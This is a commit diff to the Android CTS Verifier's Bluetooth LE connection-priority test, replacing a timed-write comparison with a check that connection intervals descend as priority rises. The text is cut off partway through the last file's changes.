Snap for 5821701 from 929d37ce36e5644befcf3c272901ca02002808b9 to qt-c2f2-release
Change-Id: Iee003096e000361a1e1285c3db50ad6ed168b2bf
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index aac13a4..4997482 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -551,10 +551,7 @@
<string name="ble_scan_stop">Stop scan</string>
<!-- BLE connection priority test strings -->
- <string name="ble_client_connection_priority">Testing priority: </string>
- <string name="ble_connection_priority_balanced">BALANCED</string>
- <string name="ble_connection_priority_high">HIGH</string>
- <string name="ble_connection_priority_low">LOW</string>
+ <string name="ble_client_connection_priority">Testing connection priority switching </string>
<string name="ble_server_connection_priority_result_passed">All test passed</string>
<string name="ble_server_connection_priority_result_failed">Test failed.</string>
<string name="ble_server_connection_priority_result_intervals">
@@ -582,9 +579,7 @@
<string name="ble_write_authenticated_characteristic_name">Bluetooth LE Write Encrypted Characteristic</string>
<string name="ble_read_authenticated_descriptor_name">Bluetooth LE Read Encrypted Descriptor</string>
<string name="ble_write_authenticated_descriptor_name">Bluetooth LE Write Encrypted Descriptor</string>
- <string name="ble_connection_priority_client_high">Bluetooth LE Send With CONNECTION_PRIORITY_HIGH</string>
- <string name="ble_connection_priority_client_low">Bluetooth LE Send With CONNECTION_PRIORITY_LOW_POWER</string>
- <string name="ble_connection_priority_client_balanced">Bluetooth LE Send With CONNECTION_PRIORITY_BALANCED</string>
+ <string name="ble_connection_priority_client_description">Client Switching Connection Priority</string>
<string name="ble_indicate_characteristic_name">Bluetooth LE Indicate Characteristic</string>
<string name="ble_encrypted_client_name">03 Bluetooth LE Encrypted Client Test</string>
<string name="ble_encrypted_client_info">Bluetooth LE Encrypted Client read/write on characteristic and descriptor need encrypted.</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
index 47ea81f..9119aae 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
@@ -40,17 +40,12 @@
public class BleConnectionPriorityClientBaseActivity extends PassFailButtons.Activity {
private TestAdapter mTestAdapter;
- private int mPassed = 0;
+ private boolean mPassed = false;
private Dialog mDialog;
- private static final int BLE_CONNECTION_HIGH = 0;
- private static final int BLE_CONNECTION_BALANCED = 1;
- private static final int BLE_CONNECTION_LOW = 2;
+ private static final int BLE_CONNECTION_UPDATE = 0;
- private static final int PASSED_HIGH = 0x1;
- private static final int PASSED_BALANCED = 0x2;
- private static final int PASSED_LOW = 0x4;
- private static final int ALL_PASSED = 0x7;
+ private static final int ALL_PASSED = 0x1;
private boolean mSecure;
@@ -80,9 +75,7 @@
IntentFilter filter = new IntentFilter();
filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED);
filter.addAction(BleConnectionPriorityClientService.ACTION_CONNECTION_SERVICES_DISCOVERED);
- filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_HIGH);
- filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_BALANCED);
- filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER);
+ filter.addAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH);
filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE);
filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE);
filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT);
@@ -140,9 +133,7 @@
private List<Integer> setupTestList() {
ArrayList<Integer> testList = new ArrayList<Integer>();
- testList.add(R.string.ble_connection_priority_client_high);
- testList.add(R.string.ble_connection_priority_client_balanced);
- testList.add(R.string.ble_connection_priority_client_low);
+ testList.add(R.string.ble_connection_priority_client_description);
return testList;
}
@@ -157,44 +148,24 @@
private void executeNextTestImpl() {
switch (mCurrentTest) {
case -1: {
- mCurrentTest = BLE_CONNECTION_HIGH;
+ mCurrentTest = BLE_CONNECTION_UPDATE;
Intent intent = new Intent(this, BleConnectionPriorityClientService.class);
- intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_HIGH);
+ intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_START);
startService(intent);
- String msg = getString(R.string.ble_client_connection_priority)
- + getString(R.string.ble_connection_priority_high);
+ String msg = getString(R.string.ble_client_connection_priority);
Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
}
break;
- case BLE_CONNECTION_BALANCED: {
- mCurrentTest = BLE_CONNECTION_LOW;
- Intent intent = new Intent(this, BleConnectionPriorityClientService.class);
- intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_LOW_POWER);
- startService(intent);
- String msg = getString(R.string.ble_client_connection_priority)
- + getString(R.string.ble_connection_priority_low);
- Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
- }
- break;
- case BLE_CONNECTION_HIGH: {
- mCurrentTest = BLE_CONNECTION_BALANCED;
- Intent intent = new Intent(this, BleConnectionPriorityClientService.class);
- intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_BALANCED);
- startService(intent);
- String msg = getString(R.string.ble_client_connection_priority)
- + getString(R.string.ble_connection_priority_balanced);
- Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
- }
- break;
- case BLE_CONNECTION_LOW:
+ case BLE_CONNECTION_UPDATE: {
// all test done
closeDialog();
- if (mPassed == ALL_PASSED) {
+ if (mPassed == true) {
Intent intent = new Intent(this, BleConnectionPriorityClientService.class);
intent.setAction(BleConnectionPriorityClientService.ACTION_DISCONNECT);
startService(intent);
}
break;
+ }
default:
// something went wrong
closeDialog();
@@ -227,21 +198,11 @@
showProgressDialog();
executeNextTest(3000);
break;
- case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_HIGH:
- mTestAdapter.setTestPass(BLE_CONNECTION_HIGH);
- mPassed |= PASSED_HIGH;
+ case BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH:
+ mTestAdapter.setTestPass(BLE_CONNECTION_UPDATE);
+ mPassed = true;
executeNextTest(1000);
break;
- case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_BALANCED:
- mTestAdapter.setTestPass(BLE_CONNECTION_BALANCED);
- mPassed |= PASSED_BALANCED;
- executeNextTest(1000);
- break;
- case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER:
- mTestAdapter.setTestPass(BLE_CONNECTION_LOW);
- mPassed |= PASSED_LOW;
- executeNextTest(100);
- break;
case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:
showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
break;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
index 38d37bd..1df40f5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
@@ -62,19 +62,11 @@
public static final String ACTION_BLUETOOTH_MISMATCH_INSECURE =
"com.android.cts.verifier.bluetooth.action.ACTION_BLUETOOTH_MISMATCH_INSECURE";
- public static final String ACTION_CONNECTION_PRIORITY_BALANCED =
- "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_BALANCED";
- public static final String ACTION_CONNECTION_PRIORITY_HIGH =
- "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_HIGH";
- public static final String ACTION_CONNECTION_PRIORITY_LOW_POWER =
+ public static final String ACTION_CONNECTION_PRIORITY_START =
"com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_LOW_POWER";
- public static final String ACTION_FINISH_CONNECTION_PRIORITY_BALANCED =
- "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_BALANCED";
- public static final String ACTION_FINISH_CONNECTION_PRIORITY_HIGH =
- "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_HIGH";
- public static final String ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER =
- "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_LOW_POWER";
+ public static final String ACTION_CONNECTION_PRIORITY_FINISH =
+ "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_FINISH";
public static final String ACTION_CLIENT_CONNECT_SECURE =
"com.android.cts.verifier.bluetooth.action.CLIENT_CONNECT_SECURE";
@@ -84,20 +76,7 @@
public static final String ACTION_FINISH_DISCONNECT =
"com.android.cts.verifier.bluetooth.action.FINISH_DISCONNECT";
- public static final long DEFAULT_INTERVAL = 100L;
- public static final long DEFAULT_PERIOD = 10000L;
-
- // this string will be used at writing test and connection priority test.
- private static final String WRITE_VALUE = "TEST";
-
- private static final UUID SERVICE_UUID =
- UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
- private static final UUID CHARACTERISTIC_UUID =
- UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");
- private static final UUID START_CHARACTERISTIC_UUID =
- UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
- private static final UUID STOP_CHARACTERISTIC_UUID =
- UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
+ public static final int NOT_UNDER_TEST = -1;
private BluetoothManager mBluetoothManager;
private BluetoothAdapter mBluetoothAdapter;
@@ -108,13 +87,12 @@
private Context mContext;
private String mAction;
- private long mInterval;
- private long mPeriod;
- private Date mStartDate;
- private int mWriteCount;
private boolean mSecure;
- private String mPriority;
+ private int mPriority = NOT_UNDER_TEST;
+ private int interval_low = 0;
+ private int interval_balanced = 0;
+ private int interval_high = 0;
private TestTaskQueue mTaskQueue;
@@ -129,8 +107,6 @@
mScanner = mBluetoothAdapter.getBluetoothLeScanner();
mHandler = new Handler();
mContext = this;
- mInterval = DEFAULT_INTERVAL;
- mPeriod = DEFAULT_PERIOD;
startScan();
}
@@ -171,15 +147,8 @@
case ACTION_CLIENT_CONNECT_SECURE:
mSecure = true;
break;
- case ACTION_CONNECTION_PRIORITY_BALANCED:
- case ACTION_CONNECTION_PRIORITY_HIGH:
- case ACTION_CONNECTION_PRIORITY_LOW_POWER:
- mTaskQueue.addTask(new Runnable() {
- @Override
- public void run() {
- startPeriodicTransmission();
- }
- });
+ case ACTION_CONNECTION_PRIORITY_START:
+ myRequestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER);
break;
case ACTION_DISCONNECT:
if (mBluetoothGatt != null) {
@@ -194,120 +163,17 @@
return START_NOT_STICKY;
}
- private void startPeriodicTransmission() {
- mWriteCount = 0;
-
- // Set connection priority
- switch (mAction) {
- case ACTION_CONNECTION_PRIORITY_BALANCED:
- mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED;
- mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);
- break;
- case ACTION_CONNECTION_PRIORITY_HIGH:
- mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH;
- mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_HIGH);
- break;
- case ACTION_CONNECTION_PRIORITY_LOW_POWER:
- mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_LOW_POWER;
- mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER);
- break;
- default:
- mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED;
- mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);
- break;
- }
-
- // Create Timer for Periodic transmission
- mStartDate = new Date();
- TimerTask task = new TimerTask() {
- @Override
- public void run() {
- if (mBluetoothGatt == null) {
- if (DEBUG) {
- Log.d(TAG, "BluetoothGatt is null, return");
- }
- return;
- }
-
- Date currentData = new Date();
- if ((currentData.getTime() - mStartDate.getTime()) >= mPeriod) {
- if (mConnectionTimer != null) {
- mConnectionTimer.cancel();
- mConnectionTimer = null;
- }
- // The STOP_CHARACTERISTIC_UUID is critical in syncing the client and server
- // states. Delay the write by 2 seconds to improve the chance of this
- // characteristic going through. Consider changing the code to use callbacks
- // in the future to make it more robust.
- sleep(2000);
- // write termination data (contains current priority and number of messages wrote)
- String msg = "" + mPriority + "," + mWriteCount;
- writeCharacteristic(STOP_CHARACTERISTIC_UUID, msg);
- sleep(1000);
- Intent intent = new Intent();
- switch (mPriority) {
- case BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED:
- intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_BALANCED);
- break;
- case BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH:
- intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_HIGH);
- break;
- case BleConnectionPriorityServerService.CONNECTION_PRIORITY_LOW_POWER:
- intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER);
- break;
- }
- sendBroadcast(intent);
- }
-
- if (mConnectionTimer != null) {
- // write testing data
- ++mWriteCount;
- writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE);
- }
- }
- };
-
- // write starting data
- writeCharacteristic(START_CHARACTERISTIC_UUID, mPriority);
-
- // start sending
- sleep(1000);
- mConnectionTimer = new Timer();
- mConnectionTimer.schedule(task, 0, mInterval);
+ private void myRequestConnectionPriority(final int priority) {
+ mTaskQueue.addTask(new Runnable() {
+ @Override
+ public void run() {
+ mPriority = priority;
+ mBluetoothGatt.requestConnectionPriority(mPriority);
+ //continue in onConnectionUpdated() callback
+ }
+ });
}
- private BluetoothGattService getService() {
- BluetoothGattService service = null;
-
- if (mBluetoothGatt != null) {
- service = mBluetoothGatt.getService(SERVICE_UUID);
- if (service == null) {
- showMessage("Service not found");
- }
- }
- return service;
- }
-
- private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
- BluetoothGattCharacteristic characteristic = null;
-
- BluetoothGattService service = getService();
- if (service != null) {
- characteristic = service.getCharacteristic(uuid);
- if (characteristic == null) {
- showMessage("Characteristic not found");
- }
- }
- return characteristic;
- }
-
- private void writeCharacteristic(UUID uid, String writeValue) {
- BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
- if (characteristic != null){
- characteristic.setValue(writeValue);
- mBluetoothGatt.writeCharacteristic(characteristic);
- }
- }
private void sleep(int millis) {
try {
@@ -372,19 +238,56 @@
if (DEBUG){
Log.d(TAG, "onServiceDiscovered");
}
- if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+ if (status == BluetoothGatt.GATT_SUCCESS) {
showMessage("Service discovered");
Intent intent = new Intent(ACTION_CONNECTION_SERVICES_DISCOVERED);
sendBroadcast(intent);
}
- }
- @Override
- public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {
- String value = characteristic.getStringValue(0);
- UUID uid = characteristic.getUuid();
- if (DEBUG) {
- Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status + " uid=" + uid);
+ //onConnectionUpdated is hidden callback, can't be marked as @Override.
+ // We must have a call to it, otherwise compiler will delete it during optimization.
+ if (status == 0xFFEFFEE) {
+ // This should never execute, but will make compiler not remove onConnectionUpdated
+ onConnectionUpdated(null, 0, 0, 0, 0);
+ throw new IllegalStateException("This should never happen!");
+ }
+ }
+
+ // @Override uncomment once this becomes public API
+ public void onConnectionUpdated(BluetoothGatt gatt, int interval, int latency, int timeout,
+ int status) {
+ if (mPriority == NOT_UNDER_TEST) return;
+
+ if (status != 0) {
+ showMessage("onConnectionUpdated() error, status=" + status );
+ Log.e(TAG, "onConnectionUpdated() status=" + status);
+ return;
+ }
+
+ Log.i(TAG, "onConnectionUpdated() status=" + status + ", interval=" + interval);
+ if (mPriority == BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER) {
+ interval_low = interval;
+ myRequestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);
+ } else if (mPriority == BluetoothGatt.CONNECTION_PRIORITY_BALANCED) {
+ interval_balanced = interval;
+ myRequestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_HIGH);
+ } else if (mPriority == BluetoothGatt.CONNECTION_PRIORITY_HIGH) {
+ interval_high = interval;
+
+ if (interval_low < interval_balanced || interval_balanced < interval_high) {
+ showMessage("interval value should be descending - failure!");
+ Log.e(TAG, "interval values should be descending: interval_low=" + interval_low +
+ ", interval_balanced=" + interval_balanced + ", interval_high=" + interval_high);
+ return;
+ }
+
+ showMessage("intervals: " + interval_low +" > " + interval_balanced + " > " + interval_high);
+
+ Intent intent = new Intent();
+ intent.setAction(ACTION_CONNECTION_PRIORITY_FINISH);
+ sendBroadcast(intent);
+
+ mPriority = NOT_UNDER_TEST;
}
}
};
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
index c0a2f09..66e068e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
@@ -37,12 +37,6 @@
public class BleConnectionPriorityServerBaseActivity extends PassFailButtons.Activity {
public static final int CONNECTION_PRIORITY_HIGH = 0;
- public static final int CONNECTION_PRIORITY_BALANCED = 1;
- public static final int CONNECTION_PRIORITY_LOW_POWER = 2;
-
- private long mAverageBalanced = -1;
- private long mAverageHigh = -1;
- private long mAverageLow = -1;
private TestAdapter mTestAdapter;
@@ -71,10 +65,7 @@
IntentFilter filter = new IntentFilter();
filter.addAction(BleConnectionPriorityServerService.ACTION_BLUETOOTH_DISABLED);
- filter.addAction(BleConnectionPriorityServerService.ACTION_CONNECTION_WRITE_REQUEST);
- filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT);
- filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED);
- filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_LOW);
+ filter.addAction(BleConnectionPriorityServerService.ACTION_CONNECTION_PRIORITY_FINISH);
filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);
filter.addAction(BleServerService.BLE_OPEN_FAIL);
filter.addAction(BleConnectionPriorityServerService.ACTION_START_CONNECTION_PRIORITY_TEST);
@@ -90,9 +81,7 @@
private List<Integer> setupTestList() {
ArrayList<Integer> testList = new ArrayList<Integer>();
- testList.add(R.string.ble_connection_priority_client_high);
- testList.add(R.string.ble_connection_priority_client_balanced);
- testList.add(R.string.ble_connection_priority_client_low);
+ testList.add(R.string.ble_connection_priority_client_description);
return testList;
}
@@ -130,8 +119,8 @@
private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
+ boolean passedAll = false;
String action = intent.getAction();
- long average = intent.getLongExtra(BleConnectionPriorityServerService.EXTRA_AVERAGE, -1);
switch (action) {
case BleConnectionPriorityServerService.ACTION_BLUETOOTH_DISABLED:
new AlertDialog.Builder(context)
@@ -148,64 +137,12 @@
case BleConnectionPriorityServerService.ACTION_START_CONNECTION_PRIORITY_TEST:
showProgressDialog();
break;
- case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT:
- mAverageHigh = average;
- mAverageBalanced = -1;
- mAverageLow = -1;
- break;
- case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED:
- mAverageBalanced = average;
- break;
- case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_LOW:
- mAverageLow = average;
- break;
- case BleServerService.BLE_OPEN_FAIL:
- setTestResultAndFinish(false);
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- Toast.makeText(BleConnectionPriorityServerBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();
- }
- });
- break;
- case BleServerService.BLE_ADVERTISE_UNSUPPORTED:
- showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);
- break;
- }
-
- boolean passedHigh = (mAverageHigh >= 0);
- boolean passedAll = false;
-
- if (passedHigh) {
- mTestAdapter.setTestPass(CONNECTION_PRIORITY_HIGH);
- }
-
- if (passedHigh && (mAverageLow >= 0) && (mAverageBalanced >= 0)) {
- boolean passedBalanced = (mAverageHigh <= mAverageBalanced);
- boolean passedLow = (mAverageBalanced <= mAverageLow);
-
- if (passedBalanced) {
- mTestAdapter.setTestPass(CONNECTION_PRIORITY_BALANCED);
- }
- if (passedLow) {
- mTestAdapter.setTestPass(CONNECTION_PRIORITY_LOW_POWER);
- }
-
- String resultMsg;
- if (passedBalanced && passedLow) {
- resultMsg = getString(R.string.ble_server_connection_priority_result_passed);
- passedAll = true;
- } else {
- String detailsMsg = String.format(getString(R.string.ble_server_connection_priority_result_intervals),
- mAverageHigh,
- mAverageBalanced,
- mAverageLow);
- resultMsg = getString(R.string.ble_server_connection_priority_result_failed)
- + "\n\n"
- + detailsMsg;
- }
+ case BleConnectionPriorityServerService.ACTION_CONNECTION_PRIORITY_FINISH:
+ String resultMsg = getString(R.string.ble_server_connection_priority_result_passed);
closeDialog();
+
+ mTestAdapter.setTestPass(CONNECTION_PRIORITY_HIGH);
mDialog = new AlertDialog.Builder(BleConnectionPriorityServerBaseActivity.this)
.setMessage(resultMsg)
.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
@@ -222,10 +159,25 @@
})
.create();
mDialog.show();
+
+ getPassButton().setEnabled(true);
+ mTestAdapter.notifyDataSetChanged();
+ break;
+
+ case BleServerService.BLE_OPEN_FAIL:
+ setTestResultAndFinish(false);
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ Toast.makeText(BleConnectionPriorityServerBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();
+ }
+ });
+ break;
+ case BleServerService.BLE_ADVERTISE_UNSUPPORTED:
+ showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);
+ break;
}
- getPassButton().setEnabled(passedAll);
- mTestAdapter.notifyDataSetChanged();
}
};
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
index e1e4eed..ccffcdb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
@@ -45,43 +45,16 @@
public class BleConnectionPriorityServerService extends Service {
public static final boolean DEBUG = true;
public static final String TAG = "BlePriorityServer";
- private static final String RESET_COUNT_VALUE = "RESET";
- private static final String START_VALUE = "START";
- private static final String STOP_VALUE = "STOP";
- public static final String CONNECTION_PRIORITY_HIGH = "PR_H";
- public static final String CONNECTION_PRIORITY_BALANCED = "PR_B";
- public static final String CONNECTION_PRIORITY_LOW_POWER = "PR_L";
public static final String ACTION_BLUETOOTH_DISABLED =
"com.android.cts.verifier.bluetooth.action.BLUETOOTH_DISABLED";
- public static final String ACTION_CONNECTION_WRITE_REQUEST =
- "com.android.cts.verifier.bluetooth.action.CONNECTION_WRITE_REQUEST";
- public static final String EXTRA_REQUEST_COUNT =
- "com.android.cts.verifier.bluetooth.intent.EXTRA_REQUEST_COUNT";
- public static final String ACTION_FINICH_CONNECTION_PRIORITY_HIGHT =
- "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT";
- public static final String ACTION_FINICH_CONNECTION_PRIORITY_BALANCED =
- "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED";
- public static final String ACTION_FINICH_CONNECTION_PRIORITY_LOW =
- "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_LOW";
+ public static final String ACTION_CONNECTION_PRIORITY_FINISH =
+ "com.android.cts.verifier.bluetooth.action.ACTION_CONNECTION_PRIORITY_FINISH";
public static final String ACTION_START_CONNECTION_PRIORITY_TEST =
"com.android.cts.verifier.bluetooth.action.ACTION_START_CONNECTION_PRIORITY_TEST";
- public static final String EXTRA_AVERAGE =
- "com.android.cts.verifier.bluetooth.intent.EXTRA_AVERAGE";
-
- private static final UUID SERVICE_UUID =
- UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
- private static final UUID CHARACTERISTIC_UUID =
- UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");
- private static final UUID START_CHARACTERISTIC_UUID =
- UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
- private static final UUID STOP_CHARACTERISTIC_UUID =
- UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
- private static final UUID DESCRIPTOR_UUID =
- UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
public static final UUID ADV_SERVICE_UUID=
UUID.fromString("00002222-0000-1000-8000-00805f9b34fb");
@@ -92,8 +65,10 @@
private Handler mHandler;
private BluetoothLeAdvertiser mAdvertiser;
private long mReceiveWriteCount;
- private Timer mTimeoutTimer;
- private TimerTask mTimeoutTimerTask;
+
+ private int interval_low = 0;
+ private int interval_balanced = 0;
+ private int interval_high = 0;
@Override
public void onCreate() {
@@ -102,10 +77,6 @@
mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();
mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);
- mService = createService();
- if ((mGattServer != null) && (mAdvertiser != null)) {
- mGattServer.addService(mService);
- }
mDevice = null;
mHandler = new Handler();
@@ -124,14 +95,6 @@
public void onDestroy() {
super.onDestroy();
- cancelTimeoutTimer(false);
-
- if (mTimeoutTimer != null) {
- mTimeoutTimer.cancel();
- mTimeoutTimer = null;
- }
- mTimeoutTimerTask = null;
-
stopAdvertise();
if (mGattServer == null) {
return;
@@ -194,21 +157,6 @@
}
}
- private void notifyServiceAdded() {
- if (DEBUG) {
- Log.d(TAG, "notifyServiceAdded");
- }
- }
-
- private void notifyCharacteristicWriteRequest() {
- if (DEBUG) {
- Log.d(TAG, "notifyCharacteristicWriteRequest");
- }
- Intent intent = new Intent(ACTION_CONNECTION_WRITE_REQUEST);
- intent.putExtra(EXTRA_REQUEST_COUNT, String.valueOf(mReceiveWriteCount));
- sendBroadcast(intent);
- }
-
private void showMessage(final String msg) {
mHandler.post(new Runnable() {
@Override
@@ -218,38 +166,6 @@
});
}
- private synchronized void cancelTimeoutTimer(boolean runTimeout) {
- if (mTimeoutTimerTask != null) {
- mTimeoutTimer.cancel();
- if (runTimeout) {
- mTimeoutTimerTask.run();
- }
- mTimeoutTimerTask = null;
- mTimeoutTimer = null;
- }
- }
-
- private BluetoothGattService createService() {
- BluetoothGattService service =
- new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);
- // add characteristic to service
- // property: 0x0A (read, write)
- // permission: 0x11 (read, write)
- BluetoothGattCharacteristic characteristic =
- new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
- BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
- characteristic.addDescriptor(descriptor);
- service.addCharacteristic(characteristic);
- characteristic = new BluetoothGattCharacteristic(START_CHARACTERISTIC_UUID, 0x0A, 0x11);
- characteristic.addDescriptor(descriptor);
- service.addCharacteristic(characteristic);
- characteristic = new BluetoothGattCharacteristic(STOP_CHARACTERISTIC_UUID, 0x0A, 0x11);
- characteristic.addDescriptor(descriptor);
- service.addCharacteristic(characteristic);
-
- return service;
- }
-
private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {
@Override
public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {
@@ -261,120 +177,50 @@
mDevice = device;
notifyConnected();
} else if (status == BluetoothProfile.STATE_DISCONNECTED) {
- cancelTimeoutTimer(true);
notifyDisconnected();
mDevice = null;
}
}
+
+ //onConnectionUpdated is hidden callback, can't be marked as @Override.
+ // We must have a call to it, otherwise compiler will delete it during optimization.
+ if (status == 0xFFEFFEE) {
+ // This should never execute, but will make compiler not remove onConnectionUpdated
+ onConnectionUpdated(null, 0, 0, 0, 0);
+ throw new IllegalStateException("This should never happen!");
+ }
+
}
- @Override
- public void onServiceAdded(int status, BluetoothGattService service) {
- if (DEBUG) {
- Log.d(TAG, "onServiceAdded()");
- }
- if (status == BluetoothGatt.GATT_SUCCESS) {
- notifyServiceAdded();
- }
- }
+ // @Override uncomment once this becomes public API
+ public void onConnectionUpdated(BluetoothDevice device, int interval, int latency, int timeout, int status) {
+ Log.i(TAG, "onConnectionUpdated() status=" + status + ", interval=" + interval);
- String mPriority = null;
-
- @Override
